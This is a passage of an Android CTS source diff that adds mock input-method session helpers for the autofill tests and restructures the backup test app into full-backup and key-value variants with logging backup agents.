+ new IntentFilter(mImeEventActionName), null /* broadcastPermission */,
+ new Handler(mHandlerThread.getLooper()));
+
+ executeShellCommand(mUiAutomation, "ime enable " + getMockImeId());
+ executeShellCommand(mUiAutomation, "ime set " + getMockImeId());
+
+ PollingCheck.check("Make sure that MockIME becomes available", TIMEOUT,
+ () -> getMockImeId().equals(getCurrentInputMethodId()));
+ }
+
+ /**
+ * Creates a new Mock IME session. During this session, you can receive various events from
+ * {@link MockIme}.
+ *
+ * @param context {@link Context} to be used to receive inter-process events from the
+ * {@link MockIme} (e.g. via {@link BroadcastReceiver}
+ * @param uiAutomation {@link UiAutomation} object to change the device state that are typically
+ * guarded by permissions.
+ * @param imeSettings Key-value pairs to be passed to the {@link MockIme}.
+ * @return A session object, with which you can retrieve event logs from the {@link MockIme} and
+ * can clean up the session.
+ */
+ @NonNull
+ public static MockImeSession create(
+ @NonNull Context context,
+ @NonNull UiAutomation uiAutomation,
+ @Nullable ImeSettings.Builder imeSettings) throws Exception {
+ final MockImeSession client = new MockImeSession(context, uiAutomation);
+ client.initialize(imeSettings);
+ return client;
+ }
+
+ /**
+ * @return {@link ImeEventStream} object that stores events sent from {@link MockIme} since the
+ * session is created.
+ */
+ public ImeEventStream openEventStream() {
+ return mEventStream.copy();
+ }
+
+ /**
+ * Closes the active session and de-selects {@link MockIme}. Currently which IME will be
+ * selected next is up to the system.
+ */
+ public void close() throws Exception {
+ // NOTE: on P we call 'ime reset', but it's not available on O, so we're just ignoring it -
+ // we don't really need the IME and it will be effectively disabled after this APK is
+ // uninstalled.
+
+ mContext.unregisterReceiver(mEventReceiver);
+ mHandlerThread.quitSafely();
+ mContext.getContentResolver().call(SettingsProvider.AUTHORITY, "delete", null, null);
+ }
+
+ /**
+ * Lets {@link MockIme} to call
+ * {@link android.view.inputmethod.InputConnection#commitText(CharSequence, int)} with the given
+ * parameters.
+ *
+ * <p>This triggers {@code getCurrentInputConnection().commitText(text, newCursorPosition)}.</p>
+ *
+ * @param text to be passed as the {@code text} parameter
+ * @param newCursorPosition to be passed as the {@code newCursorPosition} parameter
+ * @return {@link ImeCommand} object that can be passed to
+ * {@link ImeEventStreamTestUtils#expectCommand(ImeEventStream, ImeCommand, long)} to
+ * wait until this event is handled by {@link MockIme}
+ */
+ @NonNull
+ public ImeCommand callCommitText(@NonNull CharSequence text, int newCursorPosition) {
+ final Bundle params = new Bundle();
+ params.putCharSequence("text", text);
+ params.putInt("newCursorPosition", newCursorPosition);
+ final ImeCommand command = new ImeCommand(
+ "commitText", SystemClock.elapsedRealtimeNanos(), true, params);
+ final Intent intent = new Intent();
+ intent.setPackage(MockIme.getComponentName().getPackageName());
+ intent.setAction(MockIme.getCommandActionName(mImeEventActionName));
+ intent.putExtras(command.toBundle());
+ mContext.sendBroadcast(intent);
+ return command;
+ }
+
+ @NonNull
+ public ImeCommand callSetBackDisposition(int backDisposition) {
+ final Bundle params = new Bundle();
+ params.putInt("backDisposition", backDisposition);
+ final ImeCommand command = new ImeCommand(
+ "setBackDisposition", SystemClock.elapsedRealtimeNanos(), true, params);
+ final Intent intent = new Intent();
+ intent.setPackage(MockIme.getComponentName().getPackageName());
+ intent.setAction(MockIme.getCommandActionName(mImeEventActionName));
+ intent.putExtras(command.toBundle());
+ mContext.sendBroadcast(intent);
+ return command;
+ }
+
+ @NonNull
+ public ImeCommand callRequestHideSelf(int flags) {
+ final Bundle params = new Bundle();
+ params.putInt("flags", flags);
+ final ImeCommand command = new ImeCommand(
+ "requestHideSelf", SystemClock.elapsedRealtimeNanos(), true, params);
+ final Intent intent = new Intent();
+ intent.setPackage(MockIme.getComponentName().getPackageName());
+ intent.setAction(MockIme.getCommandActionName(mImeEventActionName));
+ intent.putExtras(command.toBundle());
+ mContext.sendBroadcast(intent);
+ return command;
+ }
+
+ @NonNull
+ public ImeCommand callRequestShowSelf(int flags) {
+ final Bundle params = new Bundle();
+ params.putInt("flags", flags);
+ final ImeCommand command = new ImeCommand(
+ "requestShowSelf", SystemClock.elapsedRealtimeNanos(), true, params);
+ final Intent intent = new Intent();
+ intent.setPackage(MockIme.getComponentName().getPackageName());
+ intent.setAction(MockIme.getCommandActionName(mImeEventActionName));
+ intent.putExtras(command.toBundle());
+ mContext.sendBroadcast(intent);
+ return command;
+ }
+}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/MockImeSessionRule.java b/tests/autofillservice/src/com/android/cts/mockime/MockImeSessionRule.java
new file mode 100644
index 0000000..0049c8e
--- /dev/null
+++ b/tests/autofillservice/src/com/android/cts/mockime/MockImeSessionRule.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.mockime;
+
+import android.app.UiAutomation;
+import android.content.Context;
+import android.util.Log;
+
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.support.test.InstrumentationRegistry;
+
+import com.android.cts.mockime.ImeSettings.Builder;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import static org.junit.Assume.assumeTrue;
+
+/**
+ * Custom JUnit4 rule to automatically open and close a {@link MockImeSession}.
+ */
+public final class MockImeSessionRule implements TestRule {
+
+ private static final String TAG = MockImeSessionRule.class.getSimpleName();
+ private final Context mContext;
+ private final Builder mImeSettings;
+ private final UiAutomation mUiAutomation;
+ private MockImeSession mMockImeSession;
+ private boolean mIgnoreInitException;
+ private Throwable mInitException;
+
+ public MockImeSessionRule() {
+ this(InstrumentationRegistry.getTargetContext(),
+ InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+ new ImeSettings.Builder(), /* ignoreInitException= */ false);
+ }
+
+ public MockImeSessionRule(boolean ignoreInitException) {
+ this(InstrumentationRegistry.getTargetContext(),
+ InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+ new ImeSettings.Builder(), ignoreInitException);
+ }
+
+ public MockImeSessionRule(@NonNull Context context, @NonNull UiAutomation uiAutomation,
+ @NonNull ImeSettings.Builder imeSettings, boolean ignoreInitException) {
+ mContext = context;
+ mUiAutomation = uiAutomation;
+ mImeSettings = imeSettings;
+ mIgnoreInitException = ignoreInitException;
+ }
+
+ @Override
+ public Statement apply(@NonNull Statement base, @NonNull Description description) {
+ return new Statement() {
+
+ @Override
+ public void evaluate() throws Throwable {
+ if (Log.isLoggable(TAG, Log.VERBOSE)) {
+ Log.v(TAG, "Creating MockImeSession on " + description.getDisplayName());
+ }
+ try {
+ mMockImeSession = MockImeSession.create(mContext, mUiAutomation, mImeSettings);
+ } catch (Throwable t) {
+ Log.e(TAG, "Error creating MockImeSession", t);
+ if (mIgnoreInitException) {
+ mInitException = t;
+ } else {
+ throw t;
+ }
+ }
+ try {
+ base.evaluate();
+ } finally {
+ if (mMockImeSession != null) {
+ if (Log.isLoggable(TAG, Log.VERBOSE)) {
+ Log.v(TAG, "Closing MockImeSession on " + description.getDisplayName());
+ }
+ mMockImeSession.close();
+ }
+ }
+ }
+ };
+ }
+
+ @Nullable
+ public MockImeSession getMockImeSession() {
+ return mMockImeSession;
+ }
+
+ @Nullable
+ public Throwable getInitException() {
+ return mInitException;
+ }
+
+ public void assumeAvailable() {
+ if (mInitException == null) return;
+ assumeTrue("Exception setting MockingIme: " + mInitException, mInitException == null);
+ }
+}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/SettingsProvider.java b/tests/autofillservice/src/com/android/cts/mockime/SettingsProvider.java
new file mode 100644
index 0000000..9dac329
--- /dev/null
+++ b/tests/autofillservice/src/com/android/cts/mockime/SettingsProvider.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.mockime;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+
+import android.support.annotation.Nullable;
+
+/**
+ * {@link ContentProvider} to receive {@link ImeSettings} via
+ * {@link ContentProvider#call(String, String, String, Bundle)}.
+ */
+public class SettingsProvider extends ContentProvider {
+
+ static final Uri AUTHORITY = Uri.parse("content://com.android.cts.mockime.provider");
+
+ @Nullable
+ private static ImeSettings sSettings = null;
+
+ @Override
+ public boolean onCreate() {
+ return true;
+ }
+
+ @Override
+ public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+ String sortOrder) {
+ return null;
+ }
+
+ @Override
+ public String getType(Uri uri) {
+ return null;
+ }
+
+ @Override
+ public Uri insert(Uri uri, ContentValues values) {
+ return null;
+ }
+
+ @Override
+ public int delete(Uri uri, String selection, String[] selectionArgs) {
+ return 0;
+ }
+
+ @Override
+ public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+ return 0;
+ }
+
+ @Override
+ public Bundle call(String method, String arg, Bundle extras) {
+ if ("write".equals(method)) {
+ sSettings = null;
+ final String callingPackageName = getCallingPackage();
+ if (callingPackageName == null) {
+ throw new SecurityException("Failed to obtain the calling package name.");
+ }
+ sSettings = new ImeSettings(callingPackageName, extras);
+ } else if ("delete".equals(method)) {
+ sSettings = null;
+ }
+ return Bundle.EMPTY;
+ }
+
+ static ImeSettings getSettings() {
+ return sSettings;
+ }
+}
diff --git a/tests/backup/Android.mk b/tests/backup/Android.mk
index d791fa6..bb1f8fc 100644
--- a/tests/backup/Android.mk
+++ b/tests/backup/Android.mk
@@ -28,7 +28,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsBackupTestCases
diff --git a/tests/backup/AndroidTest.xml b/tests/backup/AndroidTest.xml
index f292943..015f595 100644
--- a/tests/backup/AndroidTest.xml
+++ b/tests/backup/AndroidTest.xml
@@ -18,9 +18,14 @@
<option name="config-descriptor:metadata" key="component" value="backup" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsBackupApp.apk" />
+ <option name="test-file-name" value="CtsFullBackupApp.apk" />
+ <option name="test-file-name" value="CtsKeyValueBackupApp.apk" />
<option name="test-file-name" value="CtsBackupTestCases.apk" />
</target_preparer>
+ <target_preparer class="android.cts.backup.BackupPreparer">
+ <option name="enable-backup-if-needed" value="true" />
+ <option name="select-local-transport" value="true" />
+ </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.backup.cts" />
<option name="runtime-hint" value="8m20s" />
diff --git a/tests/backup/app/Android.mk b/tests/backup/app/Android.mk
index 8d7e3e9..cddf11e 100644
--- a/tests/backup/app/Android.mk
+++ b/tests/backup/app/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2016 The Android Open Source Project
+# Copyright (C) 2017 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
@@ -14,21 +14,4 @@
LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsBackupApp
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctstestrunner
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/backup/app/AndroidManifest.xml b/tests/backup/app/AndroidManifest.xml
deleted file mode 100644
index 1507bc2..0000000
--- a/tests/backup/app/AndroidManifest.xml
+++ /dev/null
@@ -1,35 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- ~ Copyright (C) 2016 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.backup.app" >
-
- <application
- android:allowBackup="true"
- android:backupAgent="BackupCtsBackupAgent"
- android:label="Android Backup CTS App"
- android:fullBackupOnly="true">
- <activity
- android:name=".MainActivity"
- android:label="Android Backup CTS App" >
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
- </intent-filter>
- </activity>
- </application>
-</manifest>
diff --git a/tests/backup/app/fullbackup/Android.mk b/tests/backup/app/fullbackup/Android.mk
new file mode 100644
index 0000000..ac53252
--- /dev/null
+++ b/tests/backup/app/fullbackup/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_PACKAGE_NAME := CtsFullBackupApp
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ ctstestrunner
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/backup/app/fullbackup/AndroidManifest.xml b/tests/backup/app/fullbackup/AndroidManifest.xml
new file mode 100644
index 0000000..8161a95
--- /dev/null
+++ b/tests/backup/app/fullbackup/AndroidManifest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2016 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.backup.app" >
+
+ <application
+ android:allowBackup="true"
+ android:backupAgent="FullBackupBackupAgent"
+ android:label="Android Backup CTS App"
+ android:fullBackupOnly="true">
+
+ <activity
+ android:name=".MainActivity"
+ android:label="Android Backup CTS App" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <receiver android:name=".WakeUpReceiver">
+ <intent-filter>
+ <action android:name="android.backup.app.ACTION_WAKE_UP" />
+ </intent-filter>
+ </receiver>
+
+ </application>
+</manifest>
diff --git a/tests/backup/app/keyvalue/Android.mk b/tests/backup/app/keyvalue/Android.mk
new file mode 100644
index 0000000..3c36f50
--- /dev/null
+++ b/tests/backup/app/keyvalue/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_PACKAGE_NAME := CtsKeyValueBackupApp
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ ctstestrunner
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/backup/app/keyvalue/AndroidManifest.xml b/tests/backup/app/keyvalue/AndroidManifest.xml
new file mode 100644
index 0000000..c99b4b4
--- /dev/null
+++ b/tests/backup/app/keyvalue/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2016 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.backup.kvapp" >
+
+ <application
+ android:allowBackup="true"
+ android:backupAgent="android.backup.app.KeyValueBackupAgent"
+ android:label="Android Key Value Backup CTS App">
+ <activity
+ android:name="android.backup.app.MainActivity"
+ android:label="Android Key Value Backup CTS App" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
diff --git a/tests/backup/app/src/android/backup/app/BackupCtsBackupAgent.java b/tests/backup/app/src/android/backup/app/BackupCtsBackupAgent.java
deleted file mode 100644
index f6fb8c1..0000000
--- a/tests/backup/app/src/android/backup/app/BackupCtsBackupAgent.java
+++ /dev/null
@@ -1,57 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.backup.app;
-
-import android.app.backup.BackupAgent;
-import android.app.backup.BackupDataInput;
-import android.app.backup.BackupDataOutput;
-import android.app.backup.FullBackupDataOutput;
-import android.os.ParcelFileDescriptor;
-import android.util.Log;
-
-import java.io.IOException;
-
-/*
- * Backup agent for Backup CTS App.
- *
- * Logs callbacks into logcat.
- */
-public class BackupCtsBackupAgent extends BackupAgent {
-
- @Override
- public void onBackup(ParcelFileDescriptor oldState, BackupDataOutput data,
- ParcelFileDescriptor newState) throws IOException {
- Log.d(MainActivity.TAG, "Backup requested");
- }
-
- @Override
- public void onRestore(BackupDataInput data, int appVersionCode,
- ParcelFileDescriptor newState) throws IOException {
- Log.d(MainActivity.TAG, "Restore requested");
- }
-
- @Override
- public void onFullBackup(FullBackupDataOutput data) throws IOException {
- Log.d(MainActivity.TAG, "Full backup requested");
- super.onFullBackup(data);
- }
-
- @Override
- public void onQuotaExceeded(long backupDataBytes, long quotaBytes) {
- Log.d(MainActivity.TAG, "Quota exceeded!");
- }
-}
diff --git a/tests/backup/app/src/android/backup/app/FullBackupBackupAgent.java b/tests/backup/app/src/android/backup/app/FullBackupBackupAgent.java
new file mode 100644
index 0000000..8535344
--- /dev/null
+++ b/tests/backup/app/src/android/backup/app/FullBackupBackupAgent.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.app;
+
+import android.app.backup.BackupAgent;
+import android.app.backup.BackupDataInput;
+import android.app.backup.BackupDataOutput;
+import android.app.backup.FullBackupDataOutput;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import java.io.File;
+import java.io.IOException;
+
+/*
+ * Full Backup agent for Backup CTS App.
+ *
+ * Logs callbacks into logcat.
+ */
+public class FullBackupBackupAgent extends BackupAgent {
+
+ @Override
+ public void onCreate() {
+ Log.d(MainActivity.TAG, "onCreate");
+ }
+
+ @Override
+ public void onBackup(ParcelFileDescriptor oldState, BackupDataOutput data,
+ ParcelFileDescriptor newState) throws IOException {
+ throw new IllegalStateException("unexpected onBackup");
+ }
+
+ @Override
+ public void onRestore(BackupDataInput data, int appVersionCode,
+ ParcelFileDescriptor newState) throws IOException {
+ throw new IllegalStateException("unexpected onRestore");
+ }
+
+ @Override
+ public void onRestoreFile(ParcelFileDescriptor data, long size,
+ File destination, int type, long mode, long mtime) throws IOException {
+ Log.d(MainActivity.TAG, "onRestoreFile " + destination);
+ super.onRestoreFile(data, size, destination, type, mode, mtime);
+ }
+
+ @Override
+ public void onFullBackup(FullBackupDataOutput data) throws IOException {
+ Log.d(MainActivity.TAG, "Full backup requested, quota is " + data.getQuota());
+ super.onFullBackup(data);
+ }
+
+ @Override
+ public void onQuotaExceeded(long backupDataBytes, long quotaBytes) {
+ Log.d(MainActivity.TAG, "Quota exceeded!");
+ }
+
+ @Override
+ public void onRestoreFinished() {
+ Log.d(MainActivity.TAG, "onRestoreFinished");
+ }
+
+ @Override
+ public void onDestroy() {
+ Log.d(MainActivity.TAG, "onDestroy");
+ }
+
+}
diff --git a/tests/backup/app/src/android/backup/app/KeyValueBackupAgent.java b/tests/backup/app/src/android/backup/app/KeyValueBackupAgent.java
new file mode 100644
index 0000000..155d8f9
--- /dev/null
+++ b/tests/backup/app/src/android/backup/app/KeyValueBackupAgent.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.app;
+
+import android.app.backup.BackupAgent;
+import android.app.backup.BackupDataInput;
+import android.app.backup.BackupDataOutput;
+import android.app.backup.FullBackupDataOutput;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+
+/*
+ * Key Value Backup agent for Backup CTS App.
+ *
+ * Logs callbacks into logcat.
+ */
+public class KeyValueBackupAgent extends BackupAgent {
+
+ @Override
+ public void onCreate() {
+ Log.d(MainActivity.TAG, "onCreate");
+ }
+
+ @Override
+ public void onBackup(ParcelFileDescriptor oldState, BackupDataOutput data,
+ ParcelFileDescriptor newState) throws IOException {
+ Log.d(MainActivity.TAG, "Backup requested, quota is " + data.getQuota());
+
+ // Always backup the entire file
+ File testFile = new File(getFilesDir(), MainActivity.FILE_NAME);
+ Log.d(MainActivity.TAG, "Writing " + testFile.length());
+
+ data.writeEntityHeader(MainActivity.FILE_NAME, (int) testFile.length());
+ byte[] buffer = new byte[4096];
+ try (FileInputStream input = new FileInputStream(testFile)) {
+ int read;
+ while ((read = input.read(buffer)) >= 0) {
+ data.writeEntityData(buffer, read);
+ }
+ }
+ }
+
+ @Override
+ public void onRestore(BackupDataInput data, int appVersionCode,
+ ParcelFileDescriptor newState) throws IOException {
+ Log.d(MainActivity.TAG, "Restore requested");
+ }
+
+ @Override
+ public void onRestoreFile(ParcelFileDescriptor data, long size,
+ File destination, int type, long mode, long mtime) throws IOException {
+ throw new IllegalStateException("unexpected onRestoreFile");
+ }
+
+ @Override
+ public void onFullBackup(FullBackupDataOutput data) throws IOException {
+ throw new IllegalStateException("unexpected onFullBackup");
+ }
+
+ @Override
+ public void onQuotaExceeded(long backupDataBytes, long quotaBytes) {
+ Log.d(MainActivity.TAG, "Quota exceeded!");
+ }
+
+ @Override
+ public void onRestoreFinished() {
+ Log.d(MainActivity.TAG, "onRestoreFinished");
+ }
+
+ @Override
+ public void onDestroy() {
+ Log.d(MainActivity.TAG, "onDestroy");
+ }
+
+}
diff --git a/tests/backup/app/src/android/backup/app/MainActivity.java b/tests/backup/app/src/android/backup/app/MainActivity.java
index 93c6dd6..3127a56 100644
--- a/tests/backup/app/src/android/backup/app/MainActivity.java
+++ b/tests/backup/app/src/android/backup/app/MainActivity.java
@@ -40,8 +40,8 @@
*/
public class MainActivity extends Activity {
public static final String TAG = "BackupCTSApp";
+ public static final String FILE_NAME = "file_name";
- private static final String FILE_NAME = "file_name";
private static final String FILE_SIZE_EXTRA = "file_size";
private static final int DATA_CHUNK_SIZE = 1024 * 1024;
@@ -60,6 +60,7 @@
} else {
Log.d(TAG, "No file size was provided");
}
+ finish();
}
private void createFile(int size) throws IOException {
diff --git a/tests/backup/app/src/android/backup/app/WakeUpReceiver.java b/tests/backup/app/src/android/backup/app/WakeUpReceiver.java
new file mode 100644
index 0000000..10a9360
--- /dev/null
+++ b/tests/backup/app/src/android/backup/app/WakeUpReceiver.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.app;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+/*
+ * Broadcast receiver pinged in order to make sure the app progressed from
+ * the stopped state after being installed, so that backup can be done.
+ */
+public class WakeUpReceiver extends BroadcastReceiver {
+
+ private static final String TAG = "WakeUpReceiver";
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Log.d(TAG, "android.backup.app should no longer be in the stopped state");
+ }
+}
diff --git a/tests/backup/src/android/backup/cts/BackupQuotaTest.java b/tests/backup/src/android/backup/cts/BackupQuotaTest.java
deleted file mode 100644
index 0493993..0000000
--- a/tests/backup/src/android/backup/cts/BackupQuotaTest.java
+++ /dev/null
@@ -1,183 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.backup.cts;
-
-import android.app.Instrumentation;
-import android.content.pm.PackageManager;
-import android.os.ParcelFileDescriptor;
-import android.test.InstrumentationTestCase;
-import android.util.Log;
-
-import java.io.BufferedReader;
-import java.io.FileInputStream;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.nio.charset.StandardCharsets;
-import java.util.concurrent.TimeUnit;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/**
- * Verifies receiving quotaExceeded() callback on full backup.
- *
- * Uses test app that creates large file and receives the callback.
- * {@link com.android.internal.backup.LocalTransport} is used, it has size quota 25MB.
- */
-public class BackupQuotaTest extends InstrumentationTestCase {
- private static final String APP_LOG_TAG = "BackupCTSApp";
-
- private static final String LOCAL_TRANSPORT =
- "android/com.android.internal.backup.LocalTransport";
